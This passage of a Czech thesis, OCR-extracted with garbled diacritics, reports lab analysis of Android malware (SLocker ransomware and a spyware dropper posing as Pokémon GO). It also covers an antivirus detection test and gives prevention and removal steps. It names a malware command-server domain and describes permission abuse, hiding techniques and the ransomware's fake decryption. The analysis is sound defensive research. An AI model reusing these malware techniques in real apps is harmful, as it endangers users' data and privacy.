1 datovou komunikaci malware zapina sam v daném intervalu. Neni také vylouceno, Ze se
server vrati do provozu a bude pokracovat ve Skodlivé ¢innosti na infikovanych zatizenich,
protoze uzivatelé¢ o pritomnosti aplikace viibec nemusi védét z divodu minimalnich akei

v uZivatelském prostiedi a nepfitomnosti ikony aplikace v menu.

Dal§imi akcemi, které malware provadi je snaha o ziskani statutu vychozi aplikace pro SMS
komunikaci. V rdmci pokusu nedoslo k zadné¢ SMS komunikaci, pravdépodobné proto, zZe
se v zafizeni nenachazela SIM karta. Nicméné podle analyzy i podle monitoringu aplikace

je jisté, ze aplikace tuto funkci zneuziva.

Ze zdrojového kodu bylo dale zjisténo, ze se v aplikaci nachazi ¢ast kodu bankovniho

malwaru, ktery vsak neni aktivni. Aplikace je tak bud’ zaloZzena na jiném malwaru nebo se
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ho vyvojar snazi o tuto funkci rozsitit. Ve zdrojovém kéddu se dale vyskytuje detekce mnoha
konkrétnich aplikaci, ale pfi monitorovani ¢innosti nebylo zjisténo, ze by malware s t€émito
aplikacemi provade¢l jakékoli akce. Aplikace si také vytvari v externim tlozisti vlastni logo-
vaci soubor, ktery byl vSak pii pokusu prazdny. Podle dat ze zdrojového kodu slouzi tento
soubor pravdépodobné k logovani internetové komunikace se serverem, kterd v ramci po-

kusu neprobeéhla.

Pti analyze zdrojového kodu byly odhaleny i1 nékteré techniky, které tvliirce malwaru pouzil
k zamaskovani skodlivé ¢innosti aplikace. Jde o pouziti nejasnych nazvu tiid, které velmi
komplikuji orientaci v kodu, dale o pouziti vestavéné Sifrovaci funkce Base64 ke skryti fe-

tézcl a dynamické generovani ¢asti kodu (telefonniho Cisla a adresy webového serveru).

Pti konverzi APK souboru do formétu JAR bylo zjisténo, ze pouzity software dex2jar nedo-

kaze prevést soubor do jeho Uplné ptivodni podoby.

Odstranéni malwaru bylo na pouzitém zafizeni pomérn¢ snadné, ale u zafizeni se starSim

operac¢nim systémem je nemozné, respektive je nutné vratit zafizeni do tovarniho nastaveni.

4.7 Pokus 2 — SLocker

Cilem tohoto pokusu je otestovat automatickou statickou analyzu aplikace za pouziti online
software Virus Total, monitoring provozu aplikace v zafizeni néastrojem Logcat a Dumpsys
a sledovani internetového provozu pomoci softwaru BurpSuite a Wireshark. Zaznamy o po-

kusu jsou uvedeny v protokolu €. 2, ktery se nachdzi v ptiloze P IL.

4.7.1 Vysledky automatizované statické analyzy

Nazev balicku a aplikace: Podle nazvu aplikace, ktery v prekladu znamena King Glory
Assist neni patrné, Ze jde o malware. Nazev balicku o aplikaci nic nevypovida, ale zaroven

se nesnazi maskovat za jiny.

Aktivity: Aplikace ma pouze jednu aktivitu s ndzvem MainActivity, kterd o vlastni ¢innosti
nic neprozrazuje, ale jde o pomérné standardni oznaceni. Neni tedy mozZné usoudit, zdali jde

o Skodlivou ¢innost nebo ne.

Opravnéni: Z pozadovanych opravnéni také neni zcela jasné, jestli jde o malware. Aplikace
sice pozaduje rizikova opravnéni ke Cteni a uprave dat v ulozisti, ale ta se zdaji vzhledem
k jeji deklarované funkci opravnénd — aplikace mé slouzit k podvadéni ve hie, takze musi

mit pfistup k jejim datim a musi mit také moznost je zménit. Ostatni opravnéni, ktera se
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tykaji zejména internetového pfipojeni a ptistupu k informacim o zafizeni jsou také ospra-
vedlnitelné, ackoli k opravnéni MOUNT UNMOUNT FILESYSTEMS, READ LOGS
a CHANGE CONFIGURATION ma pftistup pouze systém. Je proto podezielé, ze se apli-

kace snaZi tato prava ziskat.
Sluzby a prijimace: Aplikace nedisponuje Zadnymi sluzbami ani pfijimaci.
Detekce zavadného obsahu: 37 antivirovych aplikaci ze 60 identifikovali balicek jako

malware.

Ostatni: Software nalezl ve zdrojovém kédu adresu
http://biaozhunshijian.51240.com. Je velmi pravdépodobné, ze aplikace bude

s timto serverem komunikovat.

4.7.2 Vysledky monitoringu

Instalace: Pfi instalaci aplikace pozaduje pouze opravnéni ke Cteni statusu zafizeni a ke
¢teni a Gprave obsahu tlozisté. Na téchto opravnénich neni vzhledem k proklamované funkci
nic zvlastniho, ackoli jsou rizikové. Protoze aplikace nepochazi z oficidlniho obchodu, vy-

zaduje zménu nastaventi, pii které dojde k povoleni instalace aplikaci z nezndmych zdroji.

UZivatelské prostiedi: Po spusténi aplikace se zobrazi progress bar, ktery imituje proces
spusténi aplikace. Na pozadi vSak jiz probiha Sifrovani dat. Az jsou vSechny cilové soubory
zasifrovany, zobrazi se zadost o vykupné. Cast obrazovky je napsana v angliting a ¢ast
v ¢insting. Z toho je patrné, Ze aplikace cili nejen na uzivatele v Ciné. Na obrazovce jsou dva
odpocty — prvni varuje, Ze za tfi dny dojde k navySeni vykupného a druhy, Ze za tyden dojde
ke smazani vSech zaSifrovanych dat. Ve spodni ¢asti obrazovky se nachézi vygenerovany
kod, ktery ma slouzit k desifrovani dat a tlacitko k platbé€. Platbu je mozné provést pomoci
sluzeb Wechat, AliPay a QQ. Aplikace také zméni pozadi domovské obrazovky a svého
zastupce. Kdyz je pouzit desifrovaci kod, na ktery ptisli vyzkumnici z Trend Micro (pficteni
hodnoty 520 k vygenerovanému cislu), tak aplikace oznami, Ze kdd je spravny a Ze probiha

desifrovani soubori. Po tidajném dokonceni procesu vSak soubory desifrovany nejsou.

Logcat: Z analyzy souboru bylo zjisténo, ze systém aplikaci nepiidé€lil opravnéni
READ LOGS, CHANGE CONFIGURATION, MOUNT UNMOUNT FILESYSTEMS,
ke kterym nemaji aplikace ttetich stran piistup. Odhaleno také bylo, jakym zplsobem apli-
kace zablokovala tlacitko zpét, aby se uzivatel z aplikace nemohl snadno dostat (je vSak stale

mozné aplikaci skryt tlacitkem plochy nebo spravcem uloh). DalSim zjisténim je, ze vyvojar
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Spatné naprogramoval ukonceni hlavni aktivity, a tak systém neustale vraci chybu, ac¢koli na
funkci aplikace to nema zasadni vliv. Z této skute¢nosti v kombinaci s pozadavky na systé-

mova opravnéni je ziejmé, Ze za malwarem nestoji prili§ zrucny a zkuseny programator.

Dumpsys: Na zaklad¢ dat z Dumpsys soboru je mozné zjistit, ze aplikace v sob¢ skryva
aktivitu QQ1279525738, jejiz funkci je Sifrovani soubort. Po spusténi aplikace je ptivodni
aktivita MainActivity vypnuta a dojde ke spusténi této. Je otazkou, jakym zplisobem je tento
proces proveden a je také pravdépodobné, Ze se timto zpiisobem snazil vyvojar skryt skod-
livou ¢innost aplikace pted antiviry. Dale je mozné zjistit, ze aplikace piistupovala i k data-

bazi vypisu hovort a k udajiim v hlasové schrance, ze kterych mazala udaje tykajici se sebe.

Webovy provoz: Pii monitorovani provozu bylo zjisténo, ze se aplikace pokousi navazat
spojeni s webovou strankou http://biaozhunshijian.51240.com. Server ji vSak od-
povida, Ze pozadovana stranka na serveru uz neni. Po pouziti webové sluzby Whols, ktera
slouzi k identifikaci majiteld servert a kterd je dostupna na adrese http://whois.com,
bylo zjisténo, Ze jde o spole¢nost HiChina Zhicheng Technology Ltd. Ta sidli v Ciné a mimo
jinych sluzeb nabizi i webhosting. Nebyla zachycena zadné citlivd ani jind data, kterd by

aplikace na server odesilala.

4.7.3 Odstranéni malwaru ze zarizeni

Aplikaci je mozné bez problému odinstalovat standardni uZivatelskou cestou.

4.7.4 Zavér

Analyzovana aplikace se shoduje s aplikaci, kterou zkoumali vyzkumnici v laboratofich
Trend Micro. Skodlivou &innost aplikace je pred instalaci velmi obtizné rozpoznat, protoze

opravnéni, ktera pozaduje, souviseji s jeji proklamovanou funkci.

Po instalaci a spusténi aplikace dojde ihned k zaSifrovani soubort v internim ulozisti.
Malware Sifruje fotografie, obrazky, textové soubory, videa a instalaéni soubory aplikaci.
Ackoli aplikace pfi instalaci pozaduje opravnéni piistupu do externiho uloziste, tak data
v ném zistala nedotCena. Proces Sifrovani je maskovan progress barem, ktery evokuje spous-

téni aplikace.

Az je Sifrovani dokonceno, zobrazi se uzivateli vyzva k zaplaceni vykupného ve vysi 20 ju-
antl. Pokud uzivatel neuhradi vykupné do tfi dnl, mé dojit ke zvySeni ¢astky a pokud neza-
plati do tydne, ma dojit k vymazani dat. Platba je mozné prostfednictvim sluzeb AliPay, QQ

nebo Wechat. K deSifrovani dat je pouzito ndhodné vygenerované ¢islo, které ma uzivatel
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poslat vyvojari zaroven s platbou a ten posle zpét desSifrovaci kli¢. Tento kli¢ je vytvoren
pouhym pfidanim hodnoty 520 k vygenerovanému cislu. Po zadéni této hodnoty aplikace
potvrdi, ze je kli€ spravny a zobrazi uzivateli hlasku o probihajicim deSifrovani dat. Nicméné
po dokonceni procesu data deSifrovana nejsou a uzivatelé jsou podvedeni. Aplikace také

zmeéni svého zastupce a pozadi plochy.

Pti analyze bylo déle zjisténo, ze aplikace se snazi komunikovat se vzdalenou webovou
strankou, ktera je vSak v soucasné dob¢ uz mimo provoz. Nebylo zjisténo, ze by aplikace na
tento web odesilala jakakoli data. Z analyzy je také patrné, ze vyvojafem neni piili§ zru¢ny
a zkuseny ¢lovek, protoze si aplikace zada prava, kterd nejsou pristupna aplikacim ttetich
stran a také se v ni vyskytuje zasadni chyba, pti které je Spatn€¢ ukoncena hlavni aktivita
aplikace. Na druhou stranu vyvojat pouzil ke skryti hlavni §kodlivé ¢innosti aktivitu, ktera
nebyla pfi statické analyze odhalena. Zajimavé také je, ze aplikace maze z databaze vypisu
hovort a hlasové schranky udaje o sobé. Pti pokusu nebylo zjisténo, Ze by se malware snazil
uskutecnit jakykoli hovor a ani si o tuto funkci nezadal opravnéni. Je tak otazkou, k ¢emu
tato ¢innost slouzi. Odinstalace aplikace je moZna standardni uZivatelskou cestou a neni v ni

nijak branéno.

4.8 Pokus 3 — Operation Electric Powder

Cilem tohoto pokusu je zakladni dynamicka analyza aplikace v zafizeni nastrojem Drozer.
Pii pokusu nebylo kvili spuSténému Drozeru mozZné spustit nastroj Logcat a byly analyzo-
vany pouze data z néstroje Logsys a internetova komunikace ziskand programem Wireshark
a Burp Suite. Kvili pouziti dynamické analyzy je tfeba zménit postup instalace a monitoro-
vani provozu aplikace. Analyzovand aplikace je v uZivatelském prostifedi pouze nainstalo-
vana a ovlada se z ptikazového fadku Drozeru. Zaznamy o pokusu jsou uvedeny v protokolu

¢. 3, ktery se nachazi v ptiloze P III.
4.8.1 Vysledky dynamické analyzy aplikace

Dropper

Nazev balicku a aplikace: Podle nazvu balicku dropperu je mozné poznat, Ze jde o falesSnou
aplikaci, protoze za vyvojem aplikace stoji spole¢nost Niantic, nikoli Niantc, jak je v ndzvu
uvedeno. Timto zpisobem se vyvojar snazi maskovat malware za legitimni aplikaci. Nazev

aplikace se shoduje s jeji legitimni verzi.
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Opravnéni: Dropper nezada o Zadna opravnéni, coz je velmi podezielé, protoze legitimni

aplikace ke své funkci potiebuje ptistup k poloze zatizeni a k jeho kamefe.

Aktivity: Dropper ma pouze jednu aktivitu, ktera nazvem nijak nevypovida o své funkci.
Vyskytuje se v ni v§ak ndzev spolecnosti IEC a diky tomu se da predpokladat, ze aplikace

je nebo byla zamétena na ni.
Sluzby a prijimace: Dropper neobsahuje zadné sluzby ani pfijimace.
Skryty malware

Nazev balicku a aplikace: Malware se maskuje za systémové funkce Google Service a An-

droid Engine a snazi se zmast uzivatele tim, Ze jde o systémovou aplikaci.

Opravnéni: Podle opravnéni je zfejmé, ze jde o Skodlivou aplikaci. Nejen, ze chce komu-
nikovat prostiednictvim internetu, ale chce pfistupovat i k informacim o zafizeni
a uctam, k SMS, kontaktiim, seznamu volani, zalozkam v prohlizeci, a dokonce chce i na-
hravat zvuk a uskute¢novat odchozi hovory. Zajimavé jsou také zadosti k neexistujicim
opravnénim. Na zaklad¢ téchto skutecnosti je mozné urcit, ze jde o spyware, jehoz cilem je
ziskat co nejvice dajli o uzivateli a odeslat je na vzdaleny server. Malware také chce Cist a

zapisovat do externiho uloZisté.
Aktivity: Aplikace neobsahuje zadné aktivity.

Prijimace: Malware obsahuje 2 piijimace — prvni podle nazvu slouzi ke sledovani interne-
tového provozu (a pravdépodobné slouzi ke spusténi internetové komunikace) a druhy je
ur¢en k vyrozuméni o piijmu telefonniho hovoru. V kombinaci s opravnénim

RECORD_AUDIO je velmi pravdépodobné, ze aplikace chce nahravat ptichozi hovory.

Sluzby: Aplikace provozuje dvé sluzby, podle jejichz nazvu neni mozné urcit jejich funkci.

4.8.2 Vysledky monitoringu

Instalace dropperu: Pfi instalaci si aplikace nezada zadna opravnéni, coZ je vzhledem
k funkci aplikace velmi podezielé. ProtoZe aplikace nepochazi z oficialniho obchodu, vyza-

duje zménu nastaveni, pti které dojde k povoleni instalace aplikaci z neznamych zdrojt.

Spusténi dropperu: Thned po spusténi dropperu je spusténa instalace skrytého malwaru. Po
dokonceni instalace malwaru nebo v piipad¢ zruSeni jeho instalace je zobrazena chybova

hlaska, Ze tato verze aplikace neni kompatibilni s opera¢nim systémem.



UTB ve Zliné, Fakulta aplikované informatiky 67

Instalace malwaru: Malware se maskuje za zdanlivé legitimni aplikaci Google Service
a z4da po uzivateli pfistup k rizikovym opravnénim, mezi které patii ¢teni kontaktti a uctu,
nahravani zvuku, ¢teni a odesilani SMS, pfesmérovani odchozich hovort a piistup do exter-
niho tlozisté.

Spusténi malwaru: Malware ihned po dokonceni instalace smaze svého zastupce a nent ji
tak mozné uzivatelsky spustit. Pokud je aplikace spusténa piikazem z Drozeru, nedojde

k zadné viditelné ¢innosti v uzivatelském prostiedi.

Dumpsys: Ze souboru Dumpsys je mozné urcit ¢innosti pfijimaci. Prvnim z nich je NetWat-
cher, ktery piijima zpravy o zméné internetového ptipojeni a dokonceni bootu zatizeni.
Z toho vyplyva, Ze aplikace po pfipojeni zafizeni k internetu a také ihned po jeho spusténi
vykonavé svou ¢innost. Tou je s nejvetsi pravdépodobnosti navazani komunikace se vzda-
lenym serverem, ktera vSak nebyla v prub&hu pokusu zaznamenéna. Druhym pfijimacem je
CallReceiver. Ten Cte data o zafizeni a z nazvu se da usoudit, Ze se zamé&fuje na piichozi
hovory. V kombinaci s opravnénim nahravani zvuku, které¢ aplikace ziskala pfi instalaci, je
velmi pravdépodobné, ze aplikace pfi piijmu hovoru spusti nahrdvani zvuku, které pak ode-
sila prostfednictvim internetu. Funkce obou pfijimacii je mozné blize otestovat pomoci na-
stroje Drozer, ktery umoziuje aplikaci broadcast odeslat. K tomuto testu je vSak nutné znat

parametry piisluSnych funkci. Ty je mozné ziskat z manualni analyzy zdrojového kodu.

Webovy provoz: Pii monitorovani provozu nebyla zjiSténa zadna komunikace souvisejici

s provozem aplikace.

4.8.3 Odstranéni malwaru ze zarizeni

Dropper 1 malware je mozné ze zatizeni odinstalovat standardni uzivatelskou cestou, ackoli
odinstalace malwaru je slozit&jsi v tom, Ze aplikace nema zastupce na plose a je tieba ji

vyhledat v seznamu aplikaci.

4.8.4 Zavér

Aplikace se shoduje se vzorkem, ktery zkoumali vyzkumnici ze spolecnosti ClearSky Secu-
rity. V ramci pokusu byla jeji vazba na spolecnost IEC (a na plivodni malware zaméfeny na

ni) rozpoznéna pouze podle nazvu hlavni aktivity dropperu.
Dropper se pii instalaci maskuje za legitimni hru Pokémon GO a nevyZaduje po uZivateli
piistup k Zadnym opravnénim. To je velmi podezielé, protoZe hra je zaloZena na geografické

poloze zafizeni a také ke své Cinnosti vyuziva fotoaparat. Z téchto skutecnosti je uz pii
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instalaci mozné rozpoznat, ze jde o Skodlivou aplikaci. Funkci dropperu je pouze spustit
instalaci skrytého malwaru a nesnazi se nijak imitovat ¢innost legitimni aplikace. Jeho jedi-
nou akci v uzivatelském prosttedi (kromé instalace malwaru) je zobrazeni chybové hlasky,
ve které je uvedeno, ze aplikace neni kompatibilni s verzi operacniho systému. Tato hlaska
ma uzivatele pfimét k odinstalaci dropperu, ¢cimz samoziejmé nedojde k odinstalaci Skodlivé

aplikace.

Malware se maskuje za zdanlivé legitimni sluzbu Google Service a pii instalaci pozaduje
mnoho citlivych opravnéni. Mezi nejrizikovejsi patii pristup ke kontaktim a 0¢tim v zafi-
zeni, pfijmu a odesilani SMS, pfesmérovani hovort, nahravani zvuku a k ptistupu k SD
karté. V ramci pokusu nebyla identifikovana ptresnad skodliva ¢innost aplikace, coz mize
souviset s tim, ze jeji vyvojaf byl zadrzen policii a aplikace nemuize komunikovat se vzdale-
nym fidicim serverem. Tato ¢innost byla identifikovéna v ramci analyzy aplikace, ale pfi
monitorovani provozu nebyla zachycena zadna data. Pti analyze bylo také zjisténo, Ze se
aplikace zajima o udalost pfijeti hovoru a je velmi pravdépodobné, ze chce pii prichozim

hovoru spustit nahravani zvuku a pak tato data odeslat na vzdaleny server.
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5 TEST ANTIVIROVYCH APLIKACI

Test podstoupi pét antivird, které jsou popsany v teoretické ¢asti. K testu je pouzita sestava
malwaru, ktera obsahuje tii aplikace analyzované v této praci a dalsich 7 skodlivych aplikaci.
Cilem testu je ovéfit a srovnat ucinnost jednotlivych antivirti.

5.1 Pouzité antiviry

Aplikace jsou stazeny z oficidlniho obchodu Play ve verzi zdarma.

Tabulka 8: Seznam antivirii a verzi (zdroj: viastni)

Nazev Verze
Avast Antivir a ochrana mobilu 2018 6.1.3

AVG Antivirus 2018 59.5.1
Mobile Security & Antivirus 3.6.4
Kaspersky Mobile Antivirus 11.13.4.833
Norton Security & Antivirus 3.20.0.3291

5.2 Pouzity malware

Skodlivé aplikace pochézeji ze serveru GitHub . com.

Tabulka 9: Seznam zkusebniho malwaru (zdroj: viastni)

Nazev Typ
Agent JI Trojan-Downloader
SLocker Trojan-Ransomware

Operation Electric Powder

Trojan-Dropper

FakeSnapchat Trojan-Adware
GhostCtrl Backdoor
Godless Exploit

Judy Trojan-Clicker
Rootnik Exploit
SpyDealer Trojan-Spy
Xavier Trojan-Spy
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5.3 Postup testu

Test bude proveden pro kazdou antivirovou aplikaci zvIast. Nejdiive bude nainstalovana
antivirova aplikace a nasledn¢ budou jednotlivé instalovany Skodlivé aplikace. Hodnoceni
bude probihat na zékladé toho, jestli antivir dokdze malware identifikovat a zabranit v jeho

instalaci.
Postup:

1. Nainstalujte do zafizeni antivirovou aplikaci prostfednictvim uzivatelského prostredi
nebo ADB.
a) Zkopirujte aplikace do ulozist¢ zatizeni, vyhledejte soubory v zatfizeni prostfednic-
tvim spravce souborii a nainstalujte je.
b) Pouzijte ptikaz adb install <nazev souboru>.
2. Stejnym zplisobem postupné instalujte malware.
3. Sledujte, jestli antivirova aplikace dokaze Skodlivy obsah identifikovat a zabranit v insta-

laci aplikace.

5.4 Vysledky testu

Tabulka 10: Vysledky testu antivirii (zdroj: viastni)

Avast | AVG | ESET Kaspersky Norton

Agent JI ANO | ANO | ANO ANO ANO
SLocker ANO | ANO | ANO ANO ANO
Operation Electric Powder ANO | ANO | ANO ANO ANO
FakeSnapchat NE NE NE NE NE

GhostCtrl NE NE ANO ANO ANO
Godless NE NE ANO ANO ANO
Judy NE NE ANO ANO ANO
Rootnik ANO | ANO | ANO ANO ANO
SpyDealer ANO | ANO | ANO ANO ANO
Xavier ANO | ANO | ANO NE ANO
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5.5 Zavér testu

Pti testu se ukézalo, Ze vétSina antivirovych aplikaci dokaze spolehlivé detekovat malware.
Vyjimkou jsou antiviry Avast a AVG, kter¢ detekovaly Skodlivy obsah pouze u 60 % apli-
kaci, a pfitom patii k tém vibec nejpopuldrnéjSim na trhu. Zajimavé také je, ze vysledky
obou antivird jsou naprosto shodné, coz nepochybné souvisi s tim, ze patii pod jednu spo-

le¢nost a pracuji na stejném algoritmu.

Ani jedné antivirové aplikaci se nepodatrilo identifikovat malware FakeSnapchat, ktery patii
do kategorie Trojan-Adware a jeho Skodlivou ¢innosti je zobrazovani reklamy. Tento druh

malwaru je velmi obtizn¢ detekovatelny, ale zaroven je téméf nesSkodny.

Dale bylo zjisténo, ze kazda aplikace rozpoznava typ malwaru jinak. To je dano pouzitim
rozdilnych algoritmi pouzivanych k detekci Skodlivého kodu. Pti klasifikaci malwaru se
op¢t ukazalo, ze antivirové aplikace Avast a AVG rozpoznavaji jejich typy naprosto stejné

a pouzivaji i stejnou syntaxi nazvua.

Je tfeba mit na paméti, ze pouzité vzorky malwaru jsou az rok staré a antivirové aplikace by

je mély dadvno znat a mély by byt schopné je detekovat uz podle hash otisku. Zistava tak

vvvvvv

velmi obtizné ziskéavaji.
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6 PREVENCE A ODSTRANENI MALWARU

Pti sestavovani zasad prevence ochrany pifed malwarem a postupti, jak malware ze zatizeni
odstranit byly pouzity jak poznatky ziskané pii tvorb¢ prace, tak i poznatky ziskané tfiletou

praxi autora v servisu mobilnich zafizeni.

6.1 Prevence
1. Stahujte a instalujte aplikace pouze z oficialniho obchodu Play.

Aplikace v oficidlnim obchodu prochazi schvalovacim procesem a jsou kontrolovany anti-
virovou sluzbou Google Play Protect. Tento systém sice nedokédze zachytit Uplné¢ vSechny
Skodlivé aplikace, ale vyrazné snizuje riziko infikovani zatizeni. Alternativni obchody s apli-
kacemi nedisponuji takovou mirou zabezpeceni a riziko, ze se v jejich katalogu vyskytuje

malware, je vyrazn¢ vyssi.

UZzivatelé by se rozhodné méli vyvarovat instalace aplikaci, které pochazeji z webovych stra-
nek nebo z riznych webovych for, at’ uz se tvaii sebeseridznéji, protoze u téchto zdroji je
kontrola prakticky nulova. V soucasné dob¢ se ve velké mife pouzivaji k Sifeni malwaru
podvodné webové stranky, které se maskuji za legitimni aplikace a sluzby. Ty jsou vSak

vzdy distribuovany pouze prostfednictvim oficidlniho obchodu.
2. Ovérte si, odkud aplikaci stahujete.

Jak bylo feceno v pfedchozim bodu, malware je €asto distribuovan prostfednictvim pod-
vodnych webovych stranek. Ty mohou mit 1 podobu oficidlniho obchodu Play a uzivatelé
jsou tak v domnéni, Ze nejsou v ohrozeni. Tento podvod je pomérn¢ snadné odhalit, pokud
si uZivatel ovéfi, Ze se opravdu nachézi v aplikaci obchodu Play, a ne ve webovém prohli-

zeci (naptiklad pomoci spravce tloh).

Mize se také stat, Ze nékteré legitimni aplikace z né¢jakého diivodu nejsou piipustény do
oficialniho obchodu a uZivatel si je musi stdhnout a nainstalovat z jejich stranek nebo z al-
ternativnich obchodi. Ackoli by se uzivatelé m¢li této Cinnosti vyvarovat, tak pokud je to
naprosto nevyhnutelné, méli by si vzdy dikladné ovéfit, ze jde opravdu o oficidlni stranku

a pred instalaci aplikaci provéfit antivirovym softwarem.
3. Pred instalaci aplikaci provérte antivirovym software v zarizeni nebo online.

Kontrolou by mély projit zejména aplikace nepochazejici z oficidlniho obchodu, ale i ty,

které z n¢j pochéazi. Antivirovy software bohuzel neni na platformé Android tak efektivni,
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jako na klasickych pocitacich, ale i ptes to dokéaze velkou ¢ast malwaru identifikovat a zne-
Skodnit. Antivirové aplikace jsou zalozeny zejména na identifikaci jiz znamych hrozeb
a samy dokéazou jen velmi obtizn¢ nalézt hrozbu novou. Proto ani ony nedokazou 100 %

zafizeni ochranit, ale vyrazné snizuji riziko infikovani.

Je také mozné vyuzit online analyzatory, které dokazi analyzovat aplikaci vétSim mnoz-
stvim antiviri najednou. Mezi né patii napiiklad software VirusTotal. Ten je dostupny
zdarma a dokaze najednou otestovat aplikaci az 63 antiviry. Diky tomu se miize uzivatel
mnohem Iépe rozhodnout, jestli je aplikace bezpecnd, protoze ma k dispozici vétsi mnozstvi

informaci nez pfi pouziti jediné antivirové aplikace.
4. Peclivé zvaZte zapnuti instalace aplikaci z neznamych zdroju.

Instalace aplikaci z neznamych zdroju je standardn€ u vSech zatizeni vypnuta. Zapnout by
se méla, pokud si je uZivatel naprosto jisty, ze se nechystd nainstalovat §kodlivou aplikaci.
Po nainstalovani aplikace je nutné instalace opét zakazat, protoze v ptipadé instalace dalsi

aplikace, ktera mize byt skodliva uz nebude uzivatel o jejim ptivodu varovan.
5. Peclivé zvaZte pozadovana opravnéni.

PoZadovana opravnéni aplikace jsou vyznamnym ukazatelem, podle kterého mohou i nezku-
Seni uZivatele identifikovat potencialné skodlivou aplikaci. Pii posuzovani opravnéni je tieba
se zaméfit na to, jestli opravnéni opravdu souvisi s funkci aplikace a v ptipadé€ pochyb ji

otestovat antivirovym softwarem nebo najit alternativu.
6. Peclivé zvazte pridéleni prava spravce zarizeni.

Pfidélenim prava spravce zafizeni ziské aplikace vyrazn€ vétsi mozZnosti prace se zafizenim,
a to zejména v souvislosti s opravnénimi k pfistupu k funkcim zatizeni. Tato prava by méla
byt pfidélovana pouze aplikacim, o kterych si je uzivatel naprosto jisty, ze nejsou Skodlivé
a pozadavek o pfistupu k témto praviim je opravnény a souvisi s funkci aplikace (naptiklad

v ptipad€ n€kterych antivirovych aplikaci).
7. Prizadavani citlivych dat si ovérte, Ze je zadavate do spravné aplikace.

Malware se ¢asto maskuje za legitimni aplikace, které ma uzivatel v mobilu jiz nainstalované
(napftiklad aplikace internetového bankovnictvi). Pokud aplikace Zada o zadani citlivych dat
(jako jsou naptiklad udaje o platebni kart€, pfihlaSovaci udaje apod.), mél by si uzivatel vzdy
ovetit, ze je zadava do spravné aplikace, a ne do jeji napodobeniny. To je mozné provést

naptiklad prostfednictvim spravce uloh. Uzivatelé by také méli mit na paméti, ze ve vétSine
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ptipadi je legitimni aplikace zad4 o zadani dat pouze pfi jejich pouzivani a dialogy nejsou

vyvolavany, kdyz aplikace neni aktivni.
8. Pravidelné zalohujte data.

Zaloha dat je zékladnim ochrannym prvkem vsSech pocitacovych systémi a u mobilnich
zafizeni to plati dvojnasobné. Uzivatelé mivaji ve svych zafizenich ulozené velké mnoZzstvi
fotografii, kontaktti, dalezitych zprav apod. a jejich ztrata mize zpusobit nejen citovou, ale
1 finan¢ni Gjmu. Tato data se daji snadno pouzit k vydirani uzivatele (naptiklad jejich zasif-
rovanim a pozadavku na zaplaceni vykupného k jejich deSifrovani), ale také mnoho skodli-
vych aplikaci zplsobi, Ze je zafizeni nepouzitelné a jedinou moznosti, jak jej uvést do funke-
niho stavu je obnovenim tovarnich dat, ¢imz dojde k vymazani veskerého uzivatelského
obsahu v zatizeni. Sdm operacni systém Android nabizi moZnost pravidelné zalohy dat a je
jen na uzivateli, jestli tuto funkci vyuzije. Navic existuje i mnoho aplikaci, které zalohu
umoziuji.

9. Peclivé zvaZte root zarizeni.

Pfi rootu zafizeni ziska uZivatel pfistup k G¢tu s nejvysSimi pravy v systému, a to s sebou
nese bezpecnostni vyhody 1 nevyhody. Vyhodou je, Ze pokud dojde k infikovani zatizeni, je
mozné mnohem lépe odstranit Skodlivou aplikaci, pfipadné je moZné ze zafizeni zachranit
vice dat, a 1 antivirové programy budou mén¢ omezeny ve své funkci. Naopak velkou nevy-
hodou je, Zze malware mize mnohem snadnéji ziskat piistup k tomuto Gc¢tu a zneuzit jeho
prava ke skodlivé ¢innosti a pokud se zatizeni dostane do nepovolanych rukou, tak je z néj
mozné ziskat mnohem vice dat. UZivatelé by mé&li pfed provedenim rootu peclivé zvazit tyto
bezpecnostni otazky a v ptipad¢, Ze root provedou, tak si musi davat daleko vétsi pozor na

to, jaké aplikace instaluji.
10. Peclivé zvazte zapnuti USB ladéni.

Zapnuti vyvojaiského rezimu a USB ladéni s sebou nese stejné jako root zatizeni bezpec-
nostni vyhody i nevyhody. Mezi vyhody patii moznost vétSiho piistupu k zatizeni, a tak pii
jeho infikovani je mozné malware efektivnéji odstranit a zachranit dilezita data. Nevyhodou
je, ze k zafizeni mohou ziskat vétsi pfistup i nepovolané osoby a zneuzit ho, pfipadné v oje-
din€lych piipadech miize dojit k infikovani zafizeni prostfednictvim malwaru v pocitaci.
Kazdé spojeni s pocitatem prostiednictvim USB ladéni je tieba autorizovat ze zafizeni,
a proto je riziko, ze dojde k jeho zneuziti cizi osobou malé. UZivatelé by méli zvazit, zdali

by jim toto feSeni mohlo v krizovych situacich pomoci nebo spise uskodit.
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6.2 Odstranéni malwaru
1. Odinstalace.

Standardni odinstalace aplikace se provadi v uzivatelském prostiedi pfesunutim zastupce

aplikace na tlacitko odinstalovat nebo prostiednictvim seznamu aplikaci v nastaveni.
2. Odstranéni antivirem.

Odinstalace antivirovou aplikaci je ve vétSing piipadu provadéna automaticky se souhlasem

uzivatele a k jejimu provedeni se pouziva standardni uzivatelska odinstalace.
3. Odinstalace v nouzovém rezimu.

V nouzovém rezimu dochazi pouze ke spusténi aplikaci v recovery oddilu. Diky tomu je
mozné odinstalovat aplikace, které¢ komplikuji nebo naprosto znemoziiuji praci se zatizenim,
ptipadné zabrafiuji ve své odinstalaci. Do nouzového rezimu je mozné se dostat dvéma zpt-

soby:
Zpusob 1:

1. V uzivatelském prostfedi vyvolejte nabidku vypnuti pfidrzenim vypinaciho tlacitka.
2. Dlouze stisknéte poloZzku vypnout.
3. Zobrazi se dialog, ve kterém potvrd'te, ze chcete zatfizeni uvést do nouzového rezimu.

4. Zatizeni se restartuje a po opétovném spusténi se nachazite v nouzovém rezimu.
Zptsob 2:

1. Vypnéte zatfizeni.
2. Pomoci stisku kombinace klaves (nejcastéji vypinaciho tlacitka + zeslabeni hlasitosti; ne
vSechna zatizeni pouzivaji stejnou kombinaci a Casto je tfeba nahlédnout do manuélu)

ptejdéte do tsporného rezimu.
O tom, Ze je zafizeni v nouzovém rezimu je uZivatel informovan pomoci textu v levém dol-
nim rohu.

4. Odinstalace prostrednictvim ADB.

Aplikace je mozné odinstalovat i prostiednictvim ADB. V tomto piipad¢ musi byt v zafizeni
povoleno USB ladéni. K odinstalaci aplikace se pouziva ptikaz adb uninstall <nazev

bal1icku>. Tento zplisob je mozné vyuzit u aplikaci, které nejdou odinstalovat pfedchozimi
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zpusoby. Pokud aplikace stale zabraiiuje v odinstalaci, je mozné ji ptikazem adb shel]l

am kill <nazev balicku> vypnout a pokusit se ji odinstalovat znovu.
5. Obnoveni tovarnich dat.

Obnoveni tovarnich dat je posledni moznosti, jak malware ze zafizeni odstranit. Pfi tomto
